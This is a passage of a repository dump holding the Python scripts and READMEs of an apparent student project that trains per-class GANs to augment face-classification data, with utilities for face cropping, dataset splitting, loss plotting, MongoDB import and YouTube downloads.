rows*cols:\n\t\tcols += 1\n\t# Add blanks if too many slots\n\tfor _ in range(rows*cols-N):\n\t\tblank = np.zeros(shape=images.shape[1:])\n\t\timages = np.append(images, [blank], axis=0)\n\timage_index = 0\n\tcollage = None\n\tfor r in range(rows):\n\t\tcol_img = None\n\t\tfor c in range(cols):\n\t\t\tif col_img is None:\n\t\t\t\tcol_img = images[image_index]\n\t\t\telse:\n\t\t\t\tcol_img = np.hstack([col_img, images[image_index]])\n\t\t\timage_index += 1\n\n\t\tif collage is None:\n\t\t\tcollage = col_img\n\t\telse:\n\t\t\tcollage = np.vstack([collage, col_img])\n\tcv2.imwrite(path, collage)\n\ndef set_trainable(model, allow_train):\n model.trainable = allow_train\n for l in model.layers:\n l.trainable = allow_train\n\n#x,y = get_data(path='data/imdb-wiki/handpicked_restructured/')\nx_train,y_train = get_data( resize=(64,64))\nx_test,y_test = get_data( resize=(64,64))\nlogging.info(\"Data loaded\")\n# Because floats improves learning efficiency according to http://datascience.stackexchange.com/questions/13636/neural-network-data-type-conversion-float-from-int\nx_train /= 255\nx_test /= 255\n\nlogging.info(\"Classes to arrays\")\ninput_shape = x_train.shape[1:]\nclasses = set(y_train)\nnb_classes = len(classes)\n\nlogging.info(\"Categorizes output data\")\nuniques, ids = np.unique(y_train, return_inverse=True)\ncat_y = np_utils.to_categorical(ids, len(uniques))\n\ndata_dict_x = OrderedDict()\ndata_dict_y = OrderedDict()\nfor nx, ny, ny_vec in zip(x_train,y_train, cat_y):\n\tdata_dict_x[ny] = data_dict_x.get(ny, []) + [nx]\n\tdata_dict_y[ny] = data_dict_y.get(ny, []) + [ny_vec]\n\n\n# Convert data_dict arrays to numpy\nfor dict_class in data_dict_x:\n\tdata_dict_x[dict_class] = np.array(data_dict_x[dict_class])\n\tdata_dict_y[dict_class] = np.array(data_dict_y[dict_class])\n\n\n#(x_train, x_test), (y_train, y_test) = split_data(sx, cat_y, ratio=0.90)\n\nsortedclasses = [classname for (classname, classlist) in sorted(data_dict_x.items(), key=lambda x: len(x[1]), reverse=True)] # Returns a list of classnames sorted by number of samples\n\n\n\nfor class_index, selected_class in enumerate(sortedclasses):\n\n\tif class_index < skip_to_index:\n\t\tcontinue\n\n\tclass_dir = os.path.join(save_dir, \"_\".join(selected_class.split()))\n\tos.makedirs(class_dir)\n\tx_class = data_dict_x[selected_class]\n\ty_class = data_dict_y[selected_class]\n\n\n\topt = Adam(lr=1e-5, decay=1e-14)\n\tdopt = Adam(lr=1e-4, decay=1e-14)\n\n\t# Build the generator model\n\tg_input = Input(shape=[100])\n\n\tH = Dense(64*64*3)(g_input)\n\tH = BatchNormalization(mode=2)(H)\n\tH = Activation('relu')(H)\n\tH = LeakyReLU(0.2)(H)\n\n\tH = Reshape( [64, 64, 3] )(H)\n\t#H = UpSampling2D(size=(2,2))(H)\n\n\tH = Convolution2D(64, 3, 3, border_mode='same')(H)\n\tH = BatchNormalization(mode=2)(H)\n\tH = Activation('relu')(H)\n\tH = LeakyReLU(0.2)(H)\n\n\tH = Convolution2D(128, 3, 3, border_mode='same')(H)\n\tH = BatchNormalization(mode=2)(H)\n\tH = Activation('relu')(H)\n\tH = LeakyReLU(0.2)(H)\n\n\t#H = Convolution2D(256, 3, 3, border_mode='same')(H)\n\t#H = BatchNormalization(mode=2)(H)\n\t#H = Activation('relu')(H)\n\t#H = LeakyReLU(0.2)(H)\n\n\t#H = Convolution2D(512, 3, 3, border_mode='same')(H)\n\t#H = BatchNormalization(mode=2)(H)\n\t#H = Activation('relu')(H)\n\t#H = LeakyReLU(0.2)(H)\n\n\tH = Deconvolution2D(3, 3, 3, border_mode='same', output_shape=(None, 64,64, 3))(H)\n\tg_V = Activation('sigmoid')(H)\n\tgenerator = Model(g_input, g_V)\n\tgenerator.compile(loss='binary_crossentropy', optimizer=opt)\n\tprint(\"Generator output: {}\".format(generator.output_shape))\n\n\n\td_input = Input(shape=(64,64,3))\n\tH = Convolution2D(64, 5, 5, subsample=(2, 2), border_mode = 'same')(d_input)\n\tH = LeakyReLU(0.2)(H)\n\tH = Dropout(0.1)(H)\n\tH = Convolution2D(128, 5, 5, subsample=(2, 2), border_mode = 'same')(H)\n\tH = LeakyReLU(0.2)(H)\n\tH = Dropout(0.1)(H)\n\tH = Flatten()(H)\n\tH = Dense(256)(H)\n\tH = LeakyReLU(0.2)(H)\n\tH = Dropout(0.1)(H)\n\td_V = Dense(2,activation='softmax')(H)\n\tdiscriminator = Model(d_input, d_V)\n\tdiscriminator.compile(loss='binary_crossentropy', optimizer=dopt)\n\tprint(\"Discriminator output: {}\".format(discriminator.output_shape))\n\t\n\t\t\t\n\tset_trainable(discriminator, False)\n\n\t# Build stacked GAN model\n\tgan_input = Input(shape=[100])\n\tH = generator(gan_input)\n\tgan_V = discriminator(H)\n\tGAN = Model(gan_input, gan_V)\n\t#GAN = make_parallel(GAN, 2) Multigpu stuff\n\tGAN.compile(loss='categorical_crossentropy', optimizer=opt)\n\t\n\t\n\n\tdef save_gen(number=16):\n\t\tnoise = np.random.uniform(0,1,size=[number, 100])\n\t\tgenerated_images = generator.predict(noise)\n\t\t\n\t\tfor index,img in enumerate(generated_images):\n\t\t\timgpath = \"{}/{}_{:06d}.jpg\".format(save_path, imgname, index)\n\t\t\tcv2.imwrite(imgpath,img)\n\n\n\t# Pretrain discriminator\n\tnoise = np.random.uniform(0,1, size=[len(x_class), 100])\n\tgenerated_images = generator.predict(noise)\n\tX = np.concatenate((x_class, generated_images))\n\tn = len(x_class)\n\tanswers = np.zeros(shape=(2*n,2))\n\n\t# Set class values (real or generated image)\n\tanswers[:n,1] = 1\n\tanswers[n:,0] = 1\n\n\t# Shuffle data\n\tequal_shuffle(X,answers)\n\tset_trainable(discriminator, True)\n\tdiscriminator.fit(X,answers, nb_epoch=1, batch_size=7)\n\tpredictions = discriminator.predict(X)\n\n\t# Measure accuracy of pre-trained discriminator\n\tpredictions_idx = np.argmax(predictions, axis=1)\n\tanswers_idx = np.argmax(answers, axis=1)\n\tdiff = answers_idx-predictions_idx\n\tn_total = len(answers)\n\tn_correct = (diff==0).sum()\n\taccuracy = n_correct*100.0/n_total\n\n\tlogging.info(\"Accuracy: {:.2f}% ({} of {}) correct\".format(accuracy, n_correct, n_total))\n\n\tdef save_epoch(cur_epoch, include_model=False, separate_images=False):\n\t\tnoise_gen = np.random.uniform(0,1, size=(30, 100))\n\t\timages = generator.predict(noise_gen)\n\t\timages*=255\n\t\timages = images.astype('int')\n\n\t\tlogging.info(\"Saving generated images\")\n\t\tclassname = \"_\".join(selected_class.split())\n\t\tcreate_collage(images, path='{}/{}_{}.jpg'.format(save_dir, cur_epoch, classname))\n\t\tif separate_images:\n\t\t\t# Save images in separate folder\n\t\t\tlogging.info(\"Saving images in separate folder\")\n\t\t\tfor index, img in enumerate(images):\n\t\t\t\tcv2.imwrite('{}/{}_{}.jpg'.format(class_dir, classname, index), img)\n\t\t\n\t\tif include_model:\n\t\t\tlogging.info(\"Saving models to model folder\")\n\t\t\tGAN.save(\"{}/{}_{}_GAN_model.h5\".format(class_dir, classname, cur_epoch))\n\t\t\tdiscriminator.save(\"{}/{}_{}_discriminator_model.h5\".format(class_dir, classname, cur_epoch))\n\t\t\tgenerator.save(\"{}/{}_{}_generator_model.h5\".format(class_dir, classname, cur_epoch))\n\n\n\tlosses = {'discriminator':[], 'gan':[]}\n\t# Create training function\n\tdef train_gan(nb_epoch=5000, batch_size=10, save_frequency=1000, save_model_checkpoints=False):\n\t\tdatagen = ImageDataGenerator(\n\t\t\t#featurewise_center=True,\n\t\t\t#featurewise_std_normalization=True,\n\t\t\trotation_range=10,\n\t\t\t#width_shift_range=0.2,\n\t\t\t#height_shift_range=0.2,\n\t\t\thorizontal_flip=True\n\t\t)\n\t\tdatagen.fit(x_class) # Returns a generator which returns a tuple (x_batch, y_batch) where y_batch is \n\t\trealimage_generator = datagen.flow(x_class, y_class, batch_size=len(x_class)) # Use this to generate \"real\" images. (Data augmentation)\n\t\tprogressbar = trange(nb_epoch, desc=\"{} ({}/{})\".format(selected_class, class_index+1, nb_classes), leave=True)\n\t\tfor e in progressbar:\n\t\t\t#image_batch = x_class[np.random.randint(0, len(x_class), size=batch_size),:,:,:] \n\n\t\t\treal_generated_images = realimage_generator.next()[0]\n\t\t\timage_batch = real_generated_images[np.random.randint(0, len(real_generated_images), size=batch_size),:,:,:]\n\n\t\t\tnoise_gen = np.random.uniform(0,1, size=(batch_size, 100))\n\t\t\tgenerated_images = generator.predict(noise_gen)\n\t\t\t\n\n\t\t\t# Train the discriminator\n\t\t\tx = np.concatenate((image_batch, generated_images))\n\t\t\ty = np.zeros((2*batch_size, 2))\n\t\t\ty[0:batch_size,1] = 1\n\t\t\ty[batch_size:,0] = 1\n\n\t\t\tset_trainable(discriminator, True)\n\t\t\twith K.tf.device('/gpu:1'):\n\t\t\t\td_loss = discriminator.train_on_batch(x,y)\n\t\t\tlosses['discriminator'].append(d_loss) # Add losses to list\n\n\t\t\t# Train Generator-Discriminator stack on input noise to non-generated output class\n\t\t\tnoise_tr = np.random.uniform(0,1,size=(batch_size,100))\n\t\t\ty2 = np.zeros((batch_size,2))\n\t\t\ty2[:,1] = 1\n\n\t\t\tset_trainable(discriminator, False) # Discriminator doesnt get trained whilst training the generator\n\t\t\twith K.tf.device('/gpu:1'):\n\t\t\t\tg_loss = GAN.train_on_batch(noise_tr, y2)\n\t\t\tlosses['gan'].append(g_loss) # Add losses to list\n\t\t\n\t\t\tif e % save_frequency == 0 and e != 0 and save_frequency != -1:\n\t\t\t\tsave_epoch(e, save_model_checkpoints)\n\n\t\tsave_epoch(e, include_model=True)\n\n\tif not args.batch_size and not args.batch_size.is_digit():\n\t\tbs = 50\n\t\tlogging.info(\"Batch size not specified, using default of {}\".format(bs))\n\telse:\n\t\tlogging.info(\"Batch size {} was specified in arguments\".format(args.batch_size))\n\t\tbs = int(args.batch_size)\n\n\tlogging.info(\"Saving summaries as txt\")\n\twith open('{}/summaries.txt'.format(save_dir),'w') as sumfile:\n\t\tsys.stdout = sumfile\n\t\tprint(\"----GAN SUMMARY----\")\n\t\tGAN.summary()\n\t\tprint(\"----discriminator SUMMARY----\")\n\t\tdiscriminator.summary()\n\t\tprint(\"----generator SUMMARY----\")\n\t\tgenerator.summary()\n\t\tsys.stdout = sys.__stdout__\n\n\ttrain_gan(nb_epoch=300000, batch_size=bs, save_frequency=1000)\n\n\t#opt.lr = K.variable(1e-6)\n\t#dopt.lr = K.variable(1e-5)\n\t#train_gan(nb_epoch=2000,batch_size=bs)\n\n\t#opt.lr = K.variable(1e-6)\n\t#dopt.lr = K.variable(1e-5)\n\t#train_gan(nb_epoch=2000,batch_size=10)\n\n\t# Save generated images\n\n\n\tlogging.info(\"Save losses to file\")\n\tloss_keys = list(losses.keys())\n\tlosslists = [losses[l] for l in loss_keys]\n\tcsvpath = \"{}/{}\".format(class_dir, \"losses.txt\")\n\twith open(csvpath, 'w') as loss_file:\n\t\theader_string = \"epoch\"\n\t\tfor k in loss_keys:\n\t\t\theader_string += \",%s\" % k\n\t\tloss_file.write(\"{}\\n\".format(header_string))\n\n\t\tfor epoch, loss_vals in enumerate(zip(*losslists)):\n\t\t\tline = \"{}\".format(epoch+1)\n\t\t\tfor l in loss_vals:\n\t\t\t\tline += \",{}\".format(l)\n\n\t\t\tloss_file.write(\"{}\\n\".format(line))\n\n\tplot_csv(csvpath)\n"
},
{
"alpha_fraction": 0.7247386574745178,
"alphanum_fraction": 0.7247386574745178,
"avg_line_length": 31,
"blob_id": "aadac1a7ea45f61b1a9badc40a2272809d4fee2e",
"content_id": "994da36f679b0b264fae67c566964090bb5e48e3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 287,
"license_type": "no_license",
"max_line_length": 69,
"num_lines": 9,
"path": "/README.md",
"repo_name": "vikashvverma/dlm",
"src_encoding": "UTF-8",
"text": "# Generative Adversarial Networks for Improving Face Classification #\n\n### Classification with ./run.py\n### Generating GAN models with ./utilities/gan/generate_images.py\n### Generating images with ./utilities/gan/models\\_to\\_images.py\n\n\n######Author: Jonas Natten\n######Supervisor: Morten Goodwin, PhD"
},
{
"alpha_fraction": 0.7989949584007263,
"alphanum_fraction": 0.7989949584007263,
"avg_line_length": 65.66666412353516,
"blob_id": "22b392279cf1d97921703188d286b969db50042c",
"content_id": "b98c9d84e84565c6cf1bf265be289035c97ae98a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 199,
"license_type": "no_license",
"max_line_length": 88,
"num_lines": 3,
"path": "/utilities/gan/README.md",
"repo_name": "vikashvverma/dlm",
"src_encoding": "UTF-8",
"text": "# Folder for Generative Adversarial Networks #\n* generate_images.py - Generates trained models for each class.\n* models_to_images.py - Generates images from the models generated by generate_images.py"
},
{
"alpha_fraction": 0.7082152962684631,
"alphanum_fraction": 0.7154998183250427,
"avg_line_length": 33.78873062133789,
"blob_id": "9cc5c9bb30c970fa2119d5199f8216b6d35c6733",
"content_id": "49bf77557fc830ddebdae7fae1802bcce2888fb7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2471,
"license_type": "no_license",
"max_line_length": 154,
"num_lines": 71,
"path": "/utilities/data_split.py",
"repo_name": "vikashvverma/dlm",
"src_encoding": "UTF-8",
"text": "from dlm.utilities.data_handler import split_data, get_data, equal_shuffle\nimport argparse\nimport shutil\nimport cv2\nimport logging\nimport os\nimport sys\n\nparser = argparse.ArgumentParser(description=\"Split a dataset structured like LFW to test and train dataset\")\nparser.add_argument(\"-v\", \"--verbosity\", action=\"count\", help=\"Increase output verbosity (Can be specified multiple times for more verbosity)\", default=0)\nparser.add_argument(\"-f\", \"--force\", action=\"store_true\", help=\"Force and overwrite files that exists\")\nparser.add_argument(\"path\", help=\"Path to original dataset\")\nparser.add_argument(\"output_path\", help=\"Path to where the splitted dataset should be output\")\nparser.add_argument(\"-r\", \"--ratio\", help=\"Ratio of the test and train dataset\")\n\nargs = parser.parse_args()\n\nloglevel = logging.ERROR\n\nif args.verbosity == 1:\n\tloglevel = logging.WARNING\nelif args.verbosity == 2:\n\tloglevel = logging.INFO\nelif args.verbosity == 3:\n\t\tloglevel = logging.DEBUG\n\t\nlogging.basicConfig(format='%(levelname)s:%(message)s', level=loglevel)\n\noutpath = args.output_path\ninpath = args.path\nif os.path.exists(outpath) and not args.force:\n\tlogging.error(\"Output path exists\")\n\tsys.exit(\"Output path exists, quitting...\")\nelif os.path.exists(outpath) and args.force:\n\tlogging.warning(\"Output path exists, and force specified, deleting...\")\n\tshutil.rmtree(outpath)\n\t\nlogging.info(\"Creating output folders...\")\nos.makedirs(outpath)\nos.makedirs(os.path.join(outpath,'train'))\nos.makedirs(os.path.join(outpath,'test'))\nlogging.info(\"Loading data to memory\")\nx,y = get_data(path=inpath, min_examples=5)\ndata_dict = {}\n\n# Loop through classes\n\t# Split each class\n\t# Save in both train and test\n\nfor xe, ye in zip(x,y):\n\tdata_dict[ye] = data_dict.get(ye, []) + [xe]\n\nfor person in data_dict:\n\tlogging.info(\"Creating folders for {}\".format(person))\n\tclassdir_train = os.path.join(outpath, \"train\", \"{}\".format(\"_\".join(person.split())))\n\tclassdir_test = os.path.join(outpath, \"test\", \"{}\".format(\"_\".join(person.split())))\n\tos.makedirs(classdir_train)\n\tos.makedirs(classdir_test)\n\n\ttrain,test = split_data(data_dict[person], ratio=0.8)[0]\n\timg_idx = 1\n\n\tfor img in train:\n\t\timg_path = os.path.join(classdir_train, \"{}_{:04d}.jpg\".format(\"_\".join(person.split()), img_idx))\n\t\tcv2.imwrite(img_path, img)\n\t\timg_idx += 1\n\n\tfor img in test:\n\t\timg_path = os.path.join(classdir_test, \"{}_{:04d}.jpg\".format(\"_\".join(person.split()), img_idx))\n\t\tcv2.imwrite(img_path, img)\n\t\timg_idx += 1\n\n"
},
{
"alpha_fraction": 0.6689549684524536,
"alphanum_fraction": 0.6720061302185059,
"avg_line_length": 22,
"blob_id": "47e330d5b12ce5f92a329d9ed8638361d1c6deba",
"content_id": "7cf4b875e7adb6b57ec9ba9000a147ac2a69f2da",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1311,
"license_type": "no_license",
"max_line_length": 78,
"num_lines": 57,
"path": "/utilities/csv_plot.py",
"repo_name": "vikashvverma/dlm",
"src_encoding": "UTF-8",
"text": "import matplotlib as mpl\nmpl.use('Agg')\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport csv\nimport argparse\nimport os\nimport sys\n\n\ndef plot_csv(csvpath, plotoutput=None):\n\tif not os.path.isfile(csvpath):\n\t\tsys.exit(\"ERROR, file not found\")\n\n\tfile_directory = os.path.dirname(csvpath)\n\tfilename = os.path.basename(csvpath)\n\tfn,ext = os.path.splitext(filename)\n\n\tcsv_rows = []\n\twith open(csvpath, 'r') as csvfile:\n\t\tplots = csv.reader(csvfile, delimiter=',')\n\t\tfor r in plots:\n\t\t\tcsv_rows.append(r)\n\t\t\t\n\theaders = csv_rows[0]\n\tdata_rows = csv_rows[1:]\n\tdata_dict = {}\n\n\tfor row in data_rows:\n\t\tfor index, val in enumerate(row):\n\t\t\tdata_dict.setdefault(headers[index], []).append(val)\n\n\tx = data_dict[headers[0]]\n\tplt.clf()\n\tfor k,v in data_dict.items():\n\t\tif k != headers[0]:\n\t\t\t#print('{}: {}'.format(k,v))\n\t\t\tplt.plot(x,v, label=k)\n\tplt.legend()\n\n\tif not plotoutput:\n\t\tplt.savefig(\"{}/{}.png\".format(file_directory, fn))\n\telse:\n\t\tplt.savefig(plotoutput)\n\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser(description=\"Plots .csv files with headers\")\n\tparser.add_argument(\"path\", help=\"CSV file path\", type=str)\n\tparser.add_argument(\"-o\", \"--output\", help=\"Output filepath\")\n\targs = parser.parse_args()\n\tif not args.output:\n\t\top = None\n\telse:\n\t\top = args.output\n\t\t\n\tplot_csv(args.path, op)\n"
},
{
"alpha_fraction": 0.6777347922325134,
"alphanum_fraction": 0.6864941716194153,
"avg_line_length": 28.11656379699707,
"blob_id": "c953de1dc60d23ce7fa7450012d7f77df0ed1e2c",
"content_id": "cc72b39304165a8427e864ca09e4f7078b8ed77f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4909,
"license_type": "no_license",
"max_line_length": 154,
"num_lines": 163,
"path": "/utilities/crop.py",
"repo_name": "vikashvverma/dlm",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\r\n# This file will attempt to detect and crop out faces from images.\r\nfrom pymongo import MongoClient\r\nimport argparse\r\nimport cv2\r\nimport hashlib\r\nimport logging\r\nimport os\r\nimport sys\r\nimport shutil\r\nimport multiprocessing\r\n\r\nparser = argparse.ArgumentParser(description=\"Use mongodb collection to look up images and crop aswell as add a new collection for it.\")\r\nparser.add_argument(\"collection\", help=\"MongoDb collection\", type=str)\r\nparser.add_argument(\"-v\", \"--verbosity\", action=\"count\", help=\"Increase output verbosity (Can be specified multiple times for more verbosity)\", default=0)\r\nparser.add_argument(\"-c\", \"--new-collection\", help=\"Name of new collection, default is 'collection-cropped'\")\r\nparser.add_argument(\"-f\", \"--force\", action=\"store_true\", help=\"Force, overwrite any files with conflicts\")\r\nparser.add_argument(\"-i\", \"--hostname\", help=\"MongoDB Hostname\")\r\nparser.add_argument(\"-p\", \"--port\", help=\"MongoDB Password\")\r\nargs = parser.parse_args()\r\n\r\nloglevel = logging.ERROR\r\nif args.verbosity == 1:\r\n\tloglevel = logging.WARNING\r\nelif args.verbosity == 2:\r\n\tloglevel = logging.INFO\r\nelif args.verbosity == 3:\r\n\tloglevel = logging.DEBUG\r\n\r\nlogging.basicConfig(format='%(levelname)s:%(message)s', level=loglevel)\r\n\r\ndef get_db():\r\n\tif not args.hostname:\r\n\t\thostname = 'localhost'\r\n\t\tlogging.debug(\"No hostname specified, using default of {}\".format(hostname))\r\n\telse:\r\n\t\thostname = args.hostname\r\n\t\tlogging.debug(\"Hostname specified, using {}\".format(hostname))\r\n\r\n\tif not args.port:\r\n\t\tport = 27017\t\r\n\t\tlogging.debug(\"No port specified, using default of {}\".format(port))\r\n\telse:\r\n\t\tport = int(args.port)\r\n\t\tlogging.debug(\"Port specified, using {}\".format(port))\r\n\r\n\tmc = MongoClient(hostname, port)\r\n\tdb = mc['dlm']\r\n\treturn db\r\n\r\ndef get_collections():\r\n\tdb = get_db()\r\n\tnew_collection = None\r\n\tif not args.new_collection:\r\n\t\tnew_collection = db[args.collection+\"_cropped\"]\r\n\telse:\r\n\t\tnew_collection = db[args.new_collection]\r\n\r\n\tcollection = db[args.collection]\r\n\r\n\treturn collection,new_collection\r\n\r\n\r\n\r\ndef face_crop(record):\r\n\tpre_path = \"data/cropped/{}\".format(args.collection)\r\n\r\n\timage = cv2.imread(record['full_path'])\r\n\tface_cascade = cv2.CascadeClassifier('utilities/resources/haarcascade/haarcascade_frontalface_alt2.xml')\r\n\tgray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\r\n\tfaces = face_cascade.detectMultiScale(\r\n\t\tgray,\r\n\t\tscaleFactor=1.1,\r\n\t\tminNeighbors=5,\r\n\t\tminSize=(40, 40),\r\n\t\tflags=0\r\n\t)\r\n\r\n\tif len(faces) != 1: # Only images with 1 face valid in training\r\n\t\treturn None\r\n\r\n\tfp = record['full_path']\r\n\tsubdir = os.path.split(os.path.dirname(fp))[-1]\r\n\tfn,ext = os.path.splitext(os.path.basename(fp))\r\n\tface_records = []\r\n\tfor i,(x,y,w,h) in enumerate(faces):\r\n\t\timage_path = pre_path+'/{sub}_{fn}_{index}{ext}'.format(sub=subdir, fn=fn, index=i, ext=ext)\r\n\r\n\t\tface_record = record\r\n\r\n\t\t# Cropping image to size\r\n\t\tcropped = image[y:y+h, x:x+w]\r\n\t\tcropped = cv2.resize(cropped, (64,64))\r\n\t\t# Saving cropped image\r\n\t\tlogging.debug(\"Saving {}\".format(image_path))\r\n\t\tcv2.imwrite(image_path, cropped)\r\n\t\t\r\n\r\n\t\tface_record['old_path'] = record['full_path']\r\n\t\tface_record['full_path'] = image_path\r\n\t\tface_record['old_id'] = face_record.pop('_id',-1)\r\n\r\n\t\tface_records.append(face_record)\r\n\r\n\treturn face_records\r\n\r\n\r\nif __name__ == '__main__':\r\n\tpre_path = \"data/cropped/{}\".format(args.collection)\r\n\r\n\tcollection, new_collection = get_collections()\r\n\r\n\tif collection.find({}).count() == 0:\r\n\t\tlogging.error(\"Collection was empty\")\r\n\t\tsys.exit(1)\r\n\t\r\n\tif new_collection.count() != 0 and args.force:\r\n\t\tlogging.warn(\"--force specified, dropping collection\")\r\n\t\tnew_collection.drop()\r\n\r\n\tdef show(img,name=\"image\"):\r\n\t\tcv2.imshow(name, img)\r\n\t\tcv2.waitKey(0)\r\n\t\tcv2.destroyAllWindows()\r\n\tdef showc(img, croploc, name=\"image\"):\r\n\t\tx,y,w,h = croploc\r\n\t\tcrop = img[y:y+h, x:x+w]\r\n\t\tshow(crop, name)\r\n\r\n\tdef sa(img, croplocs, name=\"image\"):\r\n\t\tfor c in croplocs:\r\n\t\t\tshowc(img, c, name)\r\n\r\n\r\n\tcropped_path = \"data/cropped/{}\".format(args.collection)\r\n\r\n\tif not os.path.isdir(cropped_path) and not args.force:\r\n\t\tos.makedirs(cropped_path)\r\n\telif os.path.isdir(cropped_path) and args.force:\r\n\t\tlogging.warn(\"--force specified, deleting image folder\")\r\n\t\tshutil.rmtree(cropped_path)\r\n\t\tos.makedirs(cropped_path)\r\n\telif not os.path.isdir(cropped_path) and args.force:\r\n\t\tlogging.info(\"--force specified, but no folder found. Continuing as usual\")\r\n\t\tos.makedirs(cropped_path)\r\n\telse:\r\n\t\tlogging.error(\"Folder already exists, specify --force if you want overwrite\")\r\n\t\tsys.exit(1)\r\n\t\r\n\tcursor = collection.find()\r\n\r\n\tloaded_cursor = [r for r in cursor]\r\n\r\n\tpool = multiprocessing.Pool()\r\n\traw_records = pool.map(face_crop, loaded_cursor)\r\n\trecords = [r for r in raw_records if r] # Remove empty lists / images without faces\r\n\r\n\tlogging.debug(\"Begining mongoDb inserts\")\r\n\tfor i,r in enumerate(records):\r\n\t\tnew_collection.insert_many(r)\r\n\t\t\r\n\t\r\n\tcursor.close()\r\n"
},
{
"alpha_fraction": 0.6232227683067322,
"alphanum_fraction": 0.6279621124267578,
"avg_line_length": 34.150001525878906,
"blob_id": "e248979f7c60f9d300f4e749d91692c21b330ee7",
"content_id": "1237a5c08aac3b61b39e3fcb3f6aae80c8099282",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2110,
"license_type": "no_license",
"max_line_length": 158,
"num_lines": 60,
"path": "/utilities/download_youtube_url.py",
"repo_name": "vikashvverma/dlm",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\nfrom pytube import YouTube\nimport argparse\nimport sys\nimport logging\nimport os\n\ndef get_url_list(path='./vidlist'):\n l = []\n logging.info(\"Checking if url list {} exists\".format(path))\n if (os.path.exists(path)):\n logging.warning(\"Path: {} did exist\".format(path))\n else:\n sys.exit(\"Path: {} did not exist\".format(path))\n \n logging.info(\"Opening file {}\".format(path))\n with open(path, 'r') as url_file:\n for line in url_file:\n url = line.split(\"#\")[0]\n l.append(url)\n return l\n\ndef download_url(url, path='../data/videos'):\n logging.info(\"Checking if folder {} exists\".format(path))\n\n if (os.path.isdir(path)):\n logging.info(\"Path: {} did exist, skipping creation\".format(path))\n elif (os.path.exists(path)):\n sys.exit(\"ERROR: Path: {} was a file, exiting\".format(path))\n else:\n logging.info(\"Path: {} did not exist, creating directory\".format(path))\n os.makedirs(path)\n \n yt = YouTube(url)\n logging.info(\"Downloading YouTube video '{}'\".format(yt.title)) \n video = yt.get('mp4','720p')\n video.download(path)\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser(description=\"Download YouTube videos.\")\n parser.add_argument(\"url\", help=\"Url for YouTube video\", type=str)\n parser.add_argument(\"-v\", \"--verbosity\", action=\"count\", help=\"Increase output verbosity (Can be specified multiple times for more verbosity)\", default=0)\n parser.add_argument(\"-d\", \"--dry-run\", action=\"store_true\", help=\"Dry run, wont modify any files\")\n #parser.add_argument(\"-f\", \"--file-list\", action=\"store_true\", help=\"\")\n args = parser.parse_args()\n \n loglevel = logging.ERROR\n if args.verbosity == 1:\n loglevel = logging.WARNING\n elif args.verbosity == 2:\n loglevel = logging.INFO\n elif args.verbosity == 3:\n loglevel = logging.DEBUG\n\n logging.basicConfig(format='%(levelname)s:%(message)s', level=loglevel)\n logging.info(\"Entered URL {}\".format(args.url))\n \n if not args.dry_run:\n download_url(args.url)\n\n"
},
{
"alpha_fraction": 0.6848739385604858,
"alphanum_fraction": 0.6909138560295105,
"avg_line_length": 32.69026565551758,
"blob_id": "d5e61236aef0ce941072f7d5cff5d9cf1e62d48c",
"content_id": "a9f469c8f5949d5951b55f06303eeb92dbb3e295",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3808,
"license_type": "no_license",
"max_line_length": 154,
"num_lines": 113,
"path": "/utilities/mat_to_mongo.py",
"repo_name": "vikashvverma/dlm",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\n# This file will parse .mat files from https://data.vision.ee.ethz.ch/cvl/rrothe/imdb-wiki/\nfrom pymongo import MongoClient\nimport argparse\nimport sys\nimport logging\nimport os\nimport scipy.io as sio\nimport numpy as np\nimport hashlib as hl\n\nparser = argparse.ArgumentParser(description=\"Parse matlab (.mat) files and add them to a local mongoDb\")\nparser.add_argument(\"path\", help=\"matlab file path\", type=str)\nparser.add_argument(\"-v\", \"--verbosity\", action=\"count\", help=\"Increase output verbosity (Can be specified multiple times for more verbosity)\", default=0)\nparser.add_argument(\"-f\", \"--force\", action=\"store_true\", help=\"Force, overwrite any files with conflicts\")\nparser.add_argument(\"-d\", \"--dry-run\", action=\"store_true\", help=\"Dry run, wont modify any files\")\nparser.add_argument(\"-i\", \"--hostname\", help=\"MongoDB Hostname\")\nparser.add_argument(\"-p\", \"--port\", help=\"MongoDB Port\")\nargs = parser.parse_args()\n\nif __name__ == '__main__':\n\tloglevel = logging.ERROR\n\tif args.verbosity == 1:\n\t\tloglevel = logging.WARNING\n\telif args.verbosity == 2:\n\t\tloglevel = logging.INFO\n\telif args.verbosity == 3:\n\t\tloglevel = logging.DEBUG\n\n\tlogging.basicConfig(format='%(levelname)s:%(message)s', level=loglevel)\n\tpath = args.path\n\n\tdirs = []\n\tnewpath = None\n\ttemp_path = path\n\twhile os.path.split(temp_path)[1] != '':\n\t\tdirs.insert(0, os.path.split(temp_path)[1])\n\t\ttemp_path = os.path.split(temp_path)[0]\n\tlogging.info(\"Assuming you want relative paths\")\n\tnewpath = os.path.join(*dirs[dirs.index('data'):-1]).replace('\\\\','/')\n\n\tlogging.info(\"Using file {}\".format(path))\n\t\n\tfilename,extension= os.path.splitext(os.path.basename(path))\n\tif extension != \".mat\":\n\t\tsys.exit(\"File extension not .mat, quitting...\")\n\n\tmd5hash = hl.md5(open(path,'rb').read()).hexdigest()\n\tlogging.info(\"MD5 of file: {}\".format(md5hash))\n\t\n\tif not args.hostname:\n\t\thostname = 'localhost'\n\t\tlogging.info(\"No hostname specified, using default of {}\".format(hostname))\n\telse:\n\t\thostname = args.hostname\n\t\tlogging.info(\"Hostname specified, using {}\".format(hostname))\n\n\n\tif not args.port:\n\t\tport = 27017\t\n\t\tlogging.info(\"No port specified, using default of {}\".format(port))\n\telse:\n\t\tport = 